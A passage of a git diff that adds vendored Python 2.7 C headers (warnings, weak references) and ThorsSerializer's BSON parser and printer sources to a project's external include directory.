+} +#endif +#endif /* Py_USING_UNICODE */ +#endif /* !Py_UNICODEOBJECT_H */ diff --git a/Extern/include/Python27/warnings.h b/Extern/include/Python27/warnings.h new file mode 100644 index 0000000..0818d7a --- /dev/null +++ b/Extern/include/Python27/warnings.h @@ -0,0 +1,23 @@ +#ifndef Py_WARNINGS_H +#define Py_WARNINGS_H +#ifdef __cplusplus +extern "C" { +#endif + +PyAPI_FUNC(void) _PyWarnings_Init(void); + +PyAPI_FUNC(int) PyErr_WarnEx(PyObject *, const char *, Py_ssize_t); +PyAPI_FUNC(int) PyErr_WarnExplicit(PyObject *, const char *, const char *, int, + const char *, PyObject *); + +#define PyErr_WarnPy3k(msg, stacklevel) \ + (Py_Py3kWarningFlag ? PyErr_WarnEx(PyExc_DeprecationWarning, msg, stacklevel) : 0) + +/* DEPRECATED: Use PyErr_WarnEx() instead. */ +#define PyErr_Warn(category, msg) PyErr_WarnEx(category, msg, 1) + +#ifdef __cplusplus +} +#endif +#endif /* !Py_WARNINGS_H */ + diff --git a/Extern/include/Python27/weakrefobject.h b/Extern/include/Python27/weakrefobject.h new file mode 100644 index 0000000..f15c9d9 --- /dev/null +++ b/Extern/include/Python27/weakrefobject.h @@ -0,0 +1,75 @@ +/* Weak references objects for Python. */ + +#ifndef Py_WEAKREFOBJECT_H +#define Py_WEAKREFOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + + +typedef struct _PyWeakReference PyWeakReference; + +/* PyWeakReference is the base struct for the Python ReferenceType, ProxyType, + * and CallableProxyType. + */ +struct _PyWeakReference { + PyObject_HEAD + + /* The object to which this is a weak reference, or Py_None if none. + * Note that this is a stealth reference: wr_object's refcount is + * not incremented to reflect this pointer. + */ + PyObject *wr_object; + + /* A callable to invoke when wr_object dies, or NULL if none. */ + PyObject *wr_callback; + + /* A cache for wr_object's hash code. As usual for hashes, this is -1 + * if the hash code isn't known yet. + */ + long hash; + + /* If wr_object is weakly referenced, wr_object has a doubly-linked NULL- + * terminated list of weak references to it. These are the list pointers. + * If wr_object goes away, wr_object is set to Py_None, and these pointers + * have no meaning then. + */ + PyWeakReference *wr_prev; + PyWeakReference *wr_next; +}; + +PyAPI_DATA(PyTypeObject) _PyWeakref_RefType; +PyAPI_DATA(PyTypeObject) _PyWeakref_ProxyType; +PyAPI_DATA(PyTypeObject) _PyWeakref_CallableProxyType; + +#define PyWeakref_CheckRef(op) PyObject_TypeCheck(op, &_PyWeakref_RefType) +#define PyWeakref_CheckRefExact(op) \ + (Py_TYPE(op) == &_PyWeakref_RefType) +#define PyWeakref_CheckProxy(op) \ + ((Py_TYPE(op) == &_PyWeakref_ProxyType) || \ + (Py_TYPE(op) == &_PyWeakref_CallableProxyType)) + +/* This macro calls PyWeakref_CheckRef() last since that can involve a + function call; this makes it more likely that the function call + will be avoided. */ +#define PyWeakref_Check(op) \ + (PyWeakref_CheckRef(op) || PyWeakref_CheckProxy(op)) + + +PyAPI_FUNC(PyObject *) PyWeakref_NewRef(PyObject *ob, + PyObject *callback); +PyAPI_FUNC(PyObject *) PyWeakref_NewProxy(PyObject *ob, + PyObject *callback); +PyAPI_FUNC(PyObject *) PyWeakref_GetObject(PyObject *ref); + +PyAPI_FUNC(Py_ssize_t) _PyWeakref_GetWeakrefCount(PyWeakReference *head); + +PyAPI_FUNC(void) _PyWeakref_ClearRef(PyWeakReference *self); + +#define PyWeakref_GET_OBJECT(ref) (((PyWeakReference *)(ref))->wr_object) + + +#ifdef __cplusplus +} +#endif +#endif /* !Py_WEAKREFOBJECT_H */ diff --git a/Extern/include/ThorsSerializer/.gitignore b/Extern/include/ThorsSerializer/.gitignore new file mode 100644 index 0000000..7aac71b --- /dev/null +++ b/Extern/include/ThorsSerializer/.gitignore @@ -0,0 +1 @@ +SerializeConfig.h diff --git a/Extern/include/ThorsSerializer/BsonParser.cpp b/Extern/include/ThorsSerializer/BsonParser.cpp new file mode 100644 index 0000000..594a76a --- /dev/null +++ b/Extern/include/ThorsSerializer/BsonParser.cpp @@ -0,0 +1,403 @@ +#include "SerializeConfig.h" +#include "BsonParser.h" +#include "JsonLexemes.h" +#include "UnicodeIterator.h" +#include "ThorsIOUtil/Utility.h" +#include "ThorsLogging/ThorsLogging.h" +#include +#include +#include + +using namespace ThorsAnvil::Serialize; +using ParserToken = ParserInterface::ParserToken; + + +char const* getTokenTypeAsString(ParserToken result); + +HEADER_ONLY_INCLUDE +BsonParser::BsonParser(std::istream& stream, ParserConfig config) + : ParserInterface(stream, config) + , nextToken(ParserToken::DocStart) + , nextType('\x00') + , skipOverValue(false) +{ + currentContainer.emplace_back(static_cast(config.parserInfo)); +} + +HEADER_ONLY_INCLUDE +ParserToken BsonParser::getNextToken() +{ + if (skipOverValue) + { + skipOverValue = false; + if (!isEndOfContainer(0)) + { + nextType = '\x00'; + nextToken = ParserToken::Key; + } + } + + ParserToken result = nextToken; + switch (nextToken) + { + case ParserToken::DocStart: + { + switch (currentContainer.back()) + { + case BsonContainer::Map: nextToken = ParserToken::MapStart; break; + case BsonContainer::Array: nextToken = ParserToken::ArrayStart;break; + case BsonContainer::Value: + { + nextToken = ParserToken::Key; + currentContainer.emplace_back(BsonContainer::Value); + std::int32_t size = readSize<4, std::int32_t>(); + dataSize.emplace_back(size); + dataLeft.emplace_back(size); + dataLeft.back() -= 4; + break; + } + } + break; + } + case ParserToken::DocEnd: + { + if (currentContainer.size() > 0 && currentContainer.back() == BsonContainer::Value) + { + readEndOfContainer(); + } + nextToken = ParserToken::Error; + break; + } + case ParserToken::MapStart: + case ParserToken::ArrayStart: + { + std::int32_t size = readSize<4, std::int32_t>(); + dataSize.emplace_back(size); + dataLeft.emplace_back(size); + dataLeft.back() -= 4; + if (dataLeft.back() == 1) + { + nextToken = currentContainer.back() == BsonContainer::Map ? ParserToken::MapEnd: ParserToken::ArrayEnd; + break; + } + nextToken = ParserToken::Key; + break; + } + case ParserToken::MapEnd: + case ParserToken::ArrayEnd: + { + readEndOfContainer(); + currentContainer.pop_back(); + dataLeft.pop_back(); + if (currentContainer.empty()) + { + dataSize.pop_back(); + nextToken = ParserToken::DocEnd; + break; + } + dataLeft.back() -= dataSize.back(); + dataSize.pop_back(); + if (isEndOfContainer(0)) + { + // isEndOfContainer set the correct nextToken + break; + } + nextToken = ParserToken::Key; + break; + } + case ParserToken::Key: + { + readKey(); + nextToken = ParserToken::Value; + BsonContainer currentContainerType = currentContainer.back(); + if (nextType == '\x03') + { + currentContainer.push_back(BsonContainer::Map); + nextToken = ParserToken::MapStart; + } + else if (nextType == '\x04') + { + currentContainer.push_back(BsonContainer::Array); + nextToken = ParserToken::ArrayStart; + } + if (currentContainerType == BsonContainer::Array || currentContainerType == BsonContainer::Value) + { + return getNextToken(); + } + break; + // Array and Value fall through to read the value we + // Want to extract next. + } + case ParserToken::Value: + { + skipOverValue = true; + break; + } + default: + { + ThorsLogAndThrow("ThorsAnvil::Serialize::BsonParser", + "getNextToken", + "Invalid state reached in switch"); + } + } + VLOG_S(5) << getTokenTypeAsString(result); + return result; +} + +char const* getTokenTypeAsString(ParserToken result) +{ + switch (result) + { + case ParserToken::Error: return "Error"; + case ParserToken::DocStart: return "DocStart"; + case ParserToken::DocEnd: return "DocEnd"; + case ParserToken::MapStart: return "MapStart"; + case ParserToken::MapEnd: return "MapEnd"; + case ParserToken::ArrayStart:return "ArrayStart"; + case ParserToken::ArrayEnd: return "ArrayEnd"; + case ParserToken::Key: return "Key"; + case ParserToken::Value: return "Value"; + default: + return "Unknown TYPE: SHOULD NOT HAPPEN"; + } +} + +HEADER_ONLY_INCLUDE +void BsonParser::ignoreDataValue() +{ + if (skipOverValue == false) + { + return; + } + switch (nextType) + { + case '\x01': input.ignore(8); dataLeft.back() -= 8; break; + case '\x13': input.ignore(16); dataLeft.back() -= 16; break; + case '\x10': input.ignore(4); dataLeft.back() -= 4; break; + case '\x12': input.ignore(8); dataLeft.back() -= 8; break; + case '\x08': input.ignore(1); dataLeft.back() -= 1; break; + case '\x0A': break; + case '\x02': {std::size_t size = readSize<4, std::int32_t>();input.ignore(size); dataLeft.back() -= (size + 4); break;} + case '\x05': {std::size_t size = readSize<4, std::int32_t>();input.ignore(size + 1); dataLeft.back() -= (size + 5); break;} + default: + { + ThorsLogAndThrow("ThorsAnvil::Serialize::BsonParser", + "ignoreDataValue", + "trying to ignore a non value"); + } + } +} + +HEADER_ONLY_INCLUDE +bool BsonParser::isEndOfContainer(std::size_t excess) +{ + VLOG_S(5) << "isEndOfContainer: dataLeft.back(): " << dataLeft.back() << " Excess: " << excess; + if (dataLeft.back() - excess == 1) + { + switch (currentContainer.back()) + { + case BsonContainer::Map: nextToken = ParserToken::MapEnd; break; + case BsonContainer::Array: nextToken = ParserToken::ArrayEnd; break; + case BsonContainer::Value: nextToken = ParserToken::DocEnd; break; + } + + return true; + } + return false; +} + +HEADER_ONLY_INCLUDE +void BsonParser::readEndOfContainer() +{ + char mark = '\xFF'; + if (input.read(&mark, 1)) + { + dataLeft.back() -= 1; + if (mark != '\x00') + { + ThorsLogAndThrow("ThorsAnvil::Serialize::BsonParser", + "readEndOfContainer", + "End of container marker should be '\\x00' but is >", static_cast(mark), "<"); + } + } + else + { + ThorsLogAndThrow("ThorsAnvil::Serialize::BsonParser", + "readEndOfContainer", + "End of container marker should be '\\x00' but we failed to read any data from the stream"); + } +} + +HEADER_ONLY_INCLUDE +void BsonParser::readKey() +{ + if (input.read(&nextType, 1) && std::getline(input, nextKey, '\0')) + { + dataLeft.back() -= (1 + nextKey.size() + 1); + return; + } + ThorsLogAndThrow("ThorsAnvil::Serialize::BsonParser", + "readKey", + "Failed to read Key"); +} + +HEADER_ONLY_INCLUDE +template +Int BsonParser::readSize() +{ + return readLE(); +} + +HEADER_ONLY_INCLUDE +template +Int BsonParser::readInt() +{ + dataLeft.back() -= size; + return readLE(); +} + +HEADER_ONLY_INCLUDE +template +IEEE_754::_2008::Binary BsonParser::readFloat() +{ + IEEE_754::_2008::Binary result; + if (input.read(reinterpret_cast(&result), size)) + { + dataLeft.back() -= size; + return result; + } + ThorsLogAndThrow("ThorsAnvil::Serialize::BsonParser", + "readFloat", + "Failed to read Float Value. Size: ", size); +} + +HEADER_ONLY_INCLUDE +bool BsonParser::readBool() +{ + bool result; + if (input.read(reinterpret_cast(&result) ,1)) + { + dataLeft.back() -= 1; + return result; + } + ThorsLogAndThrow("ThorsAnvil::Serialize::BsonParser", + "readBool", + "Failed to read Bool"); +} + +HEADER_ONLY_INCLUDE +std::size_t BsonParser::peekSize() +{ + std::int32_t size; + + std::streampos pos = input.tellg(); + if (input.read(reinterpret_cast(&size), 4)) + { + input.seekg(pos); + return boost::endian::little_to_native(size); + } + ThorsLogAndThrow("ThorsAnvil::Serialize::BsonParser", + "peekSize", + "Failed to peek at the size of the next object"); +} + +HEADER_ONLY_INCLUDE +std::string BsonParser::readString() +{ + std::int32_t size = readSize<4, std::int32_t>(); + dataLeft.back() -= 4; + std::string result(size, '\0'); + if (input.read(&result[0], size)) + { + dataLeft.back() -= size; + result.resize(size - 1); + return result; + } + ThorsLogAndThrow("ThorsAnvil::Serialize::BsonParser", + "readString", + "Failed to read String"); +} + +HEADER_ONLY_INCLUDE +void BsonParser::readNull() +{} + +HEADER_ONLY_INCLUDE +std::string BsonParser::readBinary() +{ + char subType = '\xFF'; + std::int32_t size = readSize<4, std::int32_t>(); + dataLeft.back() -= 4; + + if (input.read(reinterpret_cast(&subType), 1)) + { + dataLeft.back() -= 1; + std::string result(size, '\0'); + if (input.read(&result[0], size)) + { + dataLeft.back() -= size; + return result; + } + } + ThorsLogAndThrow("ThorsAnvil::Serialize::BsonParser", + "readKBinary", + "Failed to read Binary Data"); +} + +HEADER_ONLY_INCLUDE +std::string BsonParser::getKey() +{ + return nextKey; +} + +HEADER_ONLY_INCLUDE +template +Int BsonParser::getIntValue() +{ + if (nextType == '\x10') {return readInt<4, std::int32_t>();} + if (nextType == '\x12') {return readInt<8, std::int64_t>();} + badType(); +} + +HEADER_ONLY_INCLUDE +template +Float BsonParser::getFloatValue() +{ + if (nextType == '\x10') {return readInt<4, std::int32_t>();} + if (nextType == '\x12') {return readInt<8, std::int64_t>();} + if (nextType == '\x01') {return readFloat<8>();} +#if 0 + if (nextType == '\x13') {return readFloat<16>();} +#endif + badType(); +} + +HEADER_ONLY_INCLUDE +std::string BsonParser::getRawValue() +{ + switch (nextType) + { + case '\x10': return std::to_string(readInt<4, std::int32_t>()); + case '\x12': return std::to_string(readInt<8, std::int64_t>()); + case '\x01': return std::to_string(readFloat<8>()); +#if 0 + case '\x13': return std::to_string(readFloat<16>()); +#endif + case '\x08': return readBool() ? "true" : "false"; + case '\x0A': readNull(); return "null"; + case '\x02': + { +#pragma vera-pushoff + using namespace std::string_literals; +#pragma vera-pop + return "\""s + readString() + "\""; + } + case '\x05': return readBinary(); + default: + { + ThorsLogAndThrow("ThorsAnvil::Serialize::BsonParser", + "getRawValue", + "Could not convert the data into raw output for some reason"); + } + } +} diff --git a/Extern/include/ThorsSerializer/BsonParser.h b/Extern/include/ThorsSerializer/BsonParser.h new file mode 100644 index 0000000..e787f6a --- /dev/null +++ b/Extern/include/ThorsSerializer/BsonParser.h @@ -0,0 +1,144 @@ +#ifndef THORS_ANVIL_SERIALIZE_BSON_PARSER_H +#define THORS_ANVIL_SERIALIZE_BSON_PARSER_H +/* + * BsonParser + * This is used in conjunction with BsonPrinter + * + * Together these provide an implementation of: + * the ParserInterface for type T + * and PrinterInterface for type T + * + * These Interfaces are used by Serializer and DeSerializer (see Serialize.h) + * + * It uses ThorsAnvil::Serialize::Traits to know what objects to pull from the stream. + * For arrays order is important. + * For Objects the order of elements is not important. It looks up the key in the Traits + * information to understand which member is being de-serialized but unspecified elements + * will not cause an error. + */ + +#include "Serialize.h" +#include "BsonUtil.h" +#include "ThorsIOUtil/Utility.h" +#include "ThorsLogging/ThorsLogging.h" +#include +#include +#include +#include +#include + +namespace ThorsAnvil +{ + namespace Serialize + { + class BsonParser; + namespace MongoUtility + { + class UTCDateTime; + BsonParser& operator>>(BsonParser& parser, MongoUtility::UTCDateTime& data); + } + +class BsonParser: public ParserInterface +{ + friend BsonParser& MongoUtility::operator>>(BsonParser& parser, MongoUtility::UTCDateTime& data); + + std::vector currentContainer; + std::vector dataLeft; + std::vector dataSize; + ParserToken nextToken; + std::string nextKey; + char nextType; + bool skipOverValue; + + + public: + BsonParser(std::istream& stream, ParserConfig config = ParserConfig{}); + virtual FormatType formatType() override {return FormatType::Bson;} + virtual ParserToken getNextToken() override; + virtual std::string getKey() override; + + virtual void ignoreDataValue() override; + + virtual void getValue(short int& value) override {value = getIntValue::value, short int>();} + virtual void getValue(int& value) override {value = getIntValue();} + virtual void getValue(long int& value) override {value = getIntValue();} + virtual void getValue(long long int& value) override {value = getIntValue();} + + virtual void getValue(unsigned short int& value) override {value = getIntValue::value, unsigned short int>();} + virtual void getValue(unsigned int& value) override {value = getIntValue();} + virtual void getValue(unsigned long int& value) override {value = getIntValue();} + virtual void getValue(unsigned long long int& value) override {value = getIntValue();} + + virtual void getValue(float& value) override {value = getFloatValue<8, float>();} + virtual void getValue(double& value) override {value = getFloatValue<8, double>();} + virtual void getValue(long double& value) override {value = getFloatValue<8, long double>();} + + virtual void getValue(bool& value) override {if (nextType != '\x08') {badType();}value = readBool();} + + virtual void getValue(std::string& value) override {if (nextType != '\x02') {badType();}value = readString();} + + virtual bool isValueNull() override {return (nextType == '\x0A');} + + virtual std::string getRawValue() override; + + void useStreamData(std::size_t amount) {dataLeft.back() -= amount;} + + public: + char getValueType() const {return nextType;} + template Int readLE() + { + Int docSize; + input.read(reinterpret_cast(&docSize), size); + return boost::endian::little_to_native(docSize); + } + + template Int readBE() + { + Int docSize = 0; + input.read(reinterpret_cast(&docSize) + (sizeof(docSize) - size), size); + return boost::endian::big_to_native(docSize); + } + + + private: + template + Int readSize(); + bool isEndOfContainer(std::size_t unread); + std::size_t peekSize(); + + void readEndOfContainer(); + + template + Int getIntValue(); + template + Float getFloatValue(); + + void readKey(); + + template + Int readInt(); + + template + IEEE_754::_2008::Binary readFloat(); + + bool readBool(); + std::string readString(); + void readNull(); + std::string readBinary(); + + [[noreturn]] + void badType() + { + ThorsLogAndThrow("ThorsAnvil::Serialize::BsonParser", + "badType", + "Trying to read a type that we can can't convert."); + } +}; + } +} + +#if defined(HEADER_ONLY) && HEADER_ONLY == 1 +#include "BsonParser.source" +#endif + +#endif diff --git a/Extern/include/ThorsSerializer/BsonPrinter.cpp b/Extern/include/ThorsSerializer/BsonPrinter.cpp new file mode 100644 index 0000000..c9022d7 --- /dev/null +++ b/Extern/include/ThorsSerializer/BsonPrinter.cpp @@ -0,0 +1,226 @@ +#include "SerializeConfig.h" +#include "BsonPrinter.h" +#include "ThorsIOUtil/Utility.h" +#include "ThorsLogging/ThorsLogging.h" +#include "GitUtility/ieee754_types.h" +#include +#include + +using namespace ThorsAnvil::Serialize; + +using IntTypes = std::tuple; + +char intKey[] = {'\x10', '\x12'}; +char floatKey[] = {'\x01', '\x13'}; + +HEADER_ONLY_INCLUDE +BsonPrinter::BsonPrinter(std::ostream& output, PrinterConfig config) + : PrinterInterface(output, config) +{} + +// MAP +HEADER_ONLY_INCLUDE +std::size_t BsonPrinter::getSizeMap(std::size_t count) +{ + /* + * A map is a document: + * + * Each element int the consists of: + * + */ + return 4 + (count * (1 + 1)) + 1; +} + +// ARRAY +HEADER_ONLY_INCLUDE +std::size_t BsonPrinter::getSizeArray(std::size_t count) +{ + /* + * A map is a document: + * + * Each element int the consists of: + * + */ + /* + * This is the same as Map (see above) + * The difference we have not accounted for the string that define the index + * So we must calculate the string length need to store all the index strings. + */ + std::size_t indexTotalStringLen = 0; + std::size_t accountedFor = 0; + std::size_t nextLevel = 10; + std::size_t numberOfDigitsThisLevel = 1; + + while (nextLevel <= count) + { + indexTotalStringLen += (nextLevel - accountedFor) * numberOfDigitsThisLevel; + accountedFor = nextLevel; + numberOfDigitsThisLevel += 1; + nextLevel *= 10; + } + indexTotalStringLen += (count - accountedFor) * numberOfDigitsThisLevel; + + return getSizeMap(count) + indexTotalStringLen; +} + +// Add a new Key +HEADER_ONLY_INCLUDE +void BsonPrinter::addKey(std::string const& key) +{ + if (currentContainer.back() != BsonContainer::Map) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::BsonPrinter", + "addKey", + "Adding a Key to a non map object"); + } + currentKey = key; +} + +HEADER_ONLY_INCLUDE +void BsonPrinter::writeKey(char value, std::size_t size) +{ + if (!currentContainer.empty()) + { + output.write(&value, 1); + if (currentContainer.back() == BsonContainer::Array) + { + output << arrayIndex.back(); + output.write("", 1); + ++arrayIndex.back(); + } + else + { + output.write(currentKey.c_str(), currentKey.size() + 1); + } + } + else if (size != static_cast(-1)) + { + // This happens if you try and write a basic type directly to the stream. + // BSON only supports Map/Array as the top level object. + // So when we write a single value we wrap it just like an array. + // + // <4 byte Doc Size> <1 byte Type info> <2 byte Index "0"> <1 byte doc term> + std::int32_t totalSize = 4 + 1 + 2 + size + 1; + writeSize<4, std::int32_t>(totalSize); + output.write(&value, 1); + output.write("0", 2); + // The value will now write itself. + // then the docClose() will at the document terminator. + } +} + +HEADER_ONLY_INCLUDE +template +void BsonPrinter::writeSize(Int value) +{ + writeLE(value); +} + +HEADER_ONLY_INCLUDE void BsonPrinter::openDoc() +{} + +HEADER_ONLY_INCLUDE void BsonPrinter::closeDoc() +{ + if (config.parserInfo == static_cast(BsonContainer::Value)) + { + // The Map and Array close themselves. + // But values need to be closed here. + // See: writeKey() for details. + output.write("", 1); + } +} +HEADER_ONLY_INCLUDE +void BsonPrinter::openMap(std::size_t size) +{ + writeKey('\x03', -1); + writeSize<4, std::int32_t>(size); + currentContainer.emplace_back(BsonContainer::Map); +} + +HEADER_ONLY_INCLUDE +void BsonPrinter::closeMap() +{ + if (currentContainer.back() != BsonContainer::Map) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::BsonPrinter", + "closeMap", + "Closing an unopened Map"); + } + output.write("",1); + currentContainer.pop_back(); +} + +HEADER_ONLY_INCLUDE +void BsonPrinter::openArray(std::size_t size) +{ + writeKey('\x04', -1); + writeSize<4, std::int32_t>(size); + currentContainer.emplace_back(BsonContainer::Array); + arrayIndex.emplace_back(0); +} + +HEADER_ONLY_INCLUDE +void BsonPrinter::closeArray() +{ + if (currentContainer.back() != BsonContainer::Array) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::BsonPrinter", + "closeArray", + "Closing an unopened Array"); + } + output.write("",1); + currentContainer.pop_back(); + arrayIndex.pop_back(); +} + +HEADER_ONLY_INCLUDE +template +void BsonPrinter::writeInt(Int value) +{ + using IntType = typename std::tuple_element::type; + + IntType output = value; + writeKey(intKey[Size/4 - 1], Size); + writeLE(output); +} + +HEADER_ONLY_INCLUDE +template +void BsonPrinter::writeFloat(Float value) +{ + IEEE_754::_2008::Binary outputValue = value; + writeKey(floatKey[Size/8 - 1], Size); + output.write(reinterpret_cast(&outputValue), Size); +} + +HEADER_ONLY_INCLUDE +void BsonPrinter::writeBool(bool value) +{ + writeKey('\x08', 1); + char outVal = (value ? '\x01' : '\x00'); + output.write(&outVal, 1); +} + +HEADER_ONLY_INCLUDE +void BsonPrinter::writeString(std::string const& value) +{ + writeKey('\x02', 4 + value.size() + 1); + writeSize<4, std::int32_t>(value.size() + 1); + output << EscapeString(value); + output.write("", 1); +} + +HEADER_ONLY_INCLUDE +void BsonPrinter::writeNull() +{ + writeKey('\x0A', 0); +} + +HEADER_ONLY_INCLUDE +void BsonPrinter::writeBinary(std::string const& value) +{ + writeKey('\x05', 4 + 1 + value.size()); // binary + writeSize<4, std::int32_t>(value.size()); + output.write("\x80", 1); + output.write(value.c_str(), value.size()); +} diff --git a/Extern/include/ThorsSerializer/BsonPrinter.h b/Extern/include/ThorsSerializer/BsonPrinter.h new file mode 100644 index 0000000..a5a357c --- /dev/null +++ b/Extern/include/ThorsSerializer/BsonPrinter.h @@ -0,0 +1,125 @@ +#ifndef THORS_ANVIL_SERIALIZE_BSON_PRINTER_H +#define THORS_ANVIL_SERIALIZE_BSON_PRINTER_H +/* + * BsonaryPrinter + * See documentation in BsonParser.h + */ + +#include "Serialize.h" +#include "BsonUtil.h" +#include +#include +#include + +namespace ThorsAnvil +{ + namespace Serialize + { + class BsonPrinter; + namespace MongoUtility + { + class UTCDateTime; + BsonPrinter& operator<<(BsonPrinter& printer, MongoUtility::UTCDateTime const& data); + } + +class BsonPrinter: public PrinterInterface +{ + friend BsonPrinter& MongoUtility::operator<<(BsonPrinter& printer, MongoUtility::UTCDateTime const& data); + + std::string currentKey; + std::vector currentContainer; + std::vector arrayIndex; + public: + BsonPrinter(std::ostream& output, PrinterConfig config = PrinterConfig{}); + virtual FormatType formatType() override {return FormatType::Bson;} + virtual void openDoc() override; + virtual void closeDoc() override; + + virtual void openMap(std::size_t size) override; + virtual void closeMap() override; + virtual void openArray(std::size_t size) override; + virtual void closeArray() override; + + virtual void addKey(std::string const& key) override; + + virtual void addValue(short int value) override {writeInt::value>(value);} + virtual void addValue(int value) override {writeInt(value);} + virtual void addValue(long int value) override {writeInt(value);} + virtual void addValue(long long int value) override {writeInt(value);} + virtual void addValue(unsigned short int value) override {writeInt::value>(value);} + virtual void addValue(unsigned int value) override {writeInt(value);} + virtual void addValue(unsigned long int value) override {writeInt(value);} + virtual void addValue(unsigned long long int value) override {writeInt(value);} + + virtual void addValue(float value) override {writeFloat::value>(value);} + virtual void addValue(double value) override {writeFloat(value);} +// Work here +// Currently long double is saved as ieee64 double precision. +// We need to work out how to use ieee128 quad precision where appropriate. + virtual void addValue(long double value) override {writeFloat<8>(value);} + + virtual void addValue(bool value) override {writeBool(value);} + + virtual void addValue(std::string const& value) override {writeString(value);} + + virtual void addRawValue(std::string const& value) override {writeBinary(value);} + + virtual void addNull() override {writeNull();} + protected: + // Protected to allow unit tests + virtual bool printerUsesSize() override {return true;} + virtual std::size_t getSizeMap(std::size_t /*count*/) override; + virtual std::size_t getSizeArray(std::size_t /*count*/) override; + virtual std::size_t getSizeNull() override {return 0;} + virtual std::size_t getSizeValue(short int) override {return MaxTemplate::value;} + virtual std::size_t getSizeValue(int) override {return sizeof(int);} + virtual std::size_t getSizeValue(long int) override {return sizeof(long int);} + virtual std::size_t getSizeValue(long long int) override {return sizeof(long long int);} + virtual std::size_t getSizeValue(unsigned short int) override {return MaxTemplate::value;} + virtual std::size_t getSizeValue(unsigned int) override {return sizeof(unsigned int);} + virtual std::size_t getSizeValue(unsigned long int) override {return sizeof(unsigned long int);} + virtual std::size_t getSizeValue(unsigned long long int) override {return sizeof(unsigned long long int);} + virtual std::size_t getSizeValue(float) override {return 8;} + virtual std::size_t getSizeValue(double) override {return 8;} + virtual std::size_t getSizeValue(long double) override {return 8;} + virtual std::size_t getSizeValue(bool) override {return 1;} + virtual std::size_t getSizeValue(std::string const& value) override {return 4 + value.size() + 1;} + virtual std::size_t getSizeRaw(std::size_t size) override {return 4 + 1 + size;} + + public: + void writeKey(char value, std::size_t size); + template void writeLE(Int value) + { + Int docValue = boost::endian::native_to_little(value); + output.write(reinterpret_cast(&docValue), size); + } + + template void writeBE(Int value) + { + Int docValue = boost::endian::native_to_big(value); + output.write(reinterpret_cast(&docValue) + (sizeof(docValue) - size), size); + } + + + private: + template + void writeSize(Int value); + template + void writeInt(Int value); + template + void writeFloat(Float value); + void writeBool(bool value); + void writeString(std::string const& value); + void writeNull(); + void writeBinary(std::string const& value); + +}; + + } +} + +#if defined(HEADER_ONLY) && HEADER_ONLY == 1 +#include "BsonPrinter.source" +#endif + +#endif diff --git a/Extern/include/ThorsSerializer/BsonThor.h b/Extern/include/ThorsSerializer/BsonThor.h new file mode 100644 index 0000000..7f2a673 --- /dev/null +++ b/Extern/include/ThorsSerializer/BsonThor.h @@ -0,0 +1,121 @@ +#ifndef THORS_ANVIL_SERIALIZE_BSON_H +#define THORS_ANVIL_SERIALIZE_BSON_H +/* + * Defines the Bson Serialization interface + * ThorsAnvil::Serialize::Bson + * ThorsAnvil::Serialize::bsonExporter + * ThorsAnvil::Serialize::bsonImporter + * + * Usage: + * std::cout << bsonExporter(object); // converts object to Bson on an output stream + * std::cin >> bsonImporter(object); // converts Bson to a C++ object from an input stream + */ + +#include "BsonParser.h" +#include "BsonPrinter.h" +#include "Exporter.h" +#include "Importer.h" +#include "SerUtil.h" +#include "ThorsIOUtil/Utility.h" +#include "ThorsLogging/ThorsLogging.h" + +namespace ThorsAnvil +{ + namespace Serialize + { + +template::type> +struct BsonBaseTypeGetter +{ + static constexpr BsonContainer value = BsonContainer::Value; + static void validate(T const&){} +}; +template +struct BsonBaseTypeGetter +{ + static constexpr BsonContainer value = BsonContainer::Map; + static void validate(T const&){} +}; +template +struct BsonBaseTypeGetter +{ + static constexpr BsonContainer value = BsonContainer::Map; + static void validate(T const&){} +}; +template +struct BsonBaseTypeGetter +{ + static constexpr BsonContainer value = BsonContainer::Array; + static void validate(T const&){} +}; +template +struct BsonBaseTypeGetter +{ + using ElementType = typename std::pointer_traits::element_type; + static constexpr BsonContainer value = BsonBaseTypeGetter::value; + static void validate(T const& pointer) + { + if (!pointer) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::BsonBaseTypeGetter", + "validate", + "Bson does not support serialization of null at the top level"); + } + } +}; + +struct Bson +{ + using Parser = BsonParser; + using Printer = BsonPrinter; +}; + +// @function-api +// @param value The object to be serialized. +// @param config.characteristics 'Default': uses Config/Stream depending on global config. 'Config': Is verbose and logical. 'Stream': Remove all white space. +// @param config.polymorphicMarker Jason object name for holding the polymorphic class name of the type. Default: __type +// @param config.catchExceptions 'false: exceptions propogate. 'true': parsing exceptions are stopped. +// @return Object that can be passed to operator<< for serialization. +template +Exporter bsonExporter(T const& value, PrinterInterface::PrinterConfig config = PrinterInterface::PrinterConfig{}) +{ + config.parserInfo = static_cast(BsonBaseTypeGetter::value); + BsonBaseTypeGetter::validate(value); + + return Exporter(value, config); +} + +// @function-api +// @param value The object to be de-serialized. +// @param config.parseStrictness 'Weak': ignore missing extra fields. 'Strict': Any missing or extra fields throws exception. +// @param config.polymorphicMarker Jason object name for holding the polymorphic class name of the type. Default: __type +// @param config.catchExceptions 'false: exceptions propogate. 'true': parsing exceptions are stopped. +// @return Object that can be passed to operator>> for de-serialization. +template +Importer bsonImporter(T& value, ParserInterface::ParserConfig config = ParserInterface::ParserConfig{}) +{ + config.parserInfo = static_cast(BsonBaseTypeGetter::value); + + return Importer(value, config); +} + +// @function-api +// @param value The object to be serialized. +// @param config.characteristics 'Default': uses Config/Stream depending on global config. 'Config': Is verbose and logical. 'Stream': Remove all white space. +// @param config.polymorphicMarker Jason object name for holding the polymorphic class name of the type. Default: __type +// @param config.catchExceptions 'false: exceptions propogate. 'true': parsing exceptions are stopped. +// @return The size of the object that would be put on the stream in bytes. +template +std::size_t bsonGetPrintSize(T const& value, PrinterInterface::PrinterConfig config = PrinterInterface::PrinterConfig{}) +{ + config.parserInfo = static_cast(BsonBaseTypeGetter::value); + BsonBaseTypeGetter::validate(value); + + std::stringstream fakeStream; + typename Bson::Printer printer(fakeStream, config); + return Traits::getPrintSize(printer, value, false); +} + } +} + +#endif diff --git a/Extern/include/ThorsSerializer/BsonUtil.h b/Extern/include/ThorsSerializer/BsonUtil.h new file mode 100644 index 0000000..e3b83e0 --- /dev/null +++ b/Extern/include/ThorsSerializer/BsonUtil.h @@ -0,0 +1,28 @@ +#ifndef THORS_ANVIL_SERIALIZE_BSON_UTIL_H +#define THORS_ANVIL_SERIALIZE_BSON_UTIL_H +/* + * BsonaryPrinter + * See documentation in BsonParser.h + */ + +#include "Serialize.h" 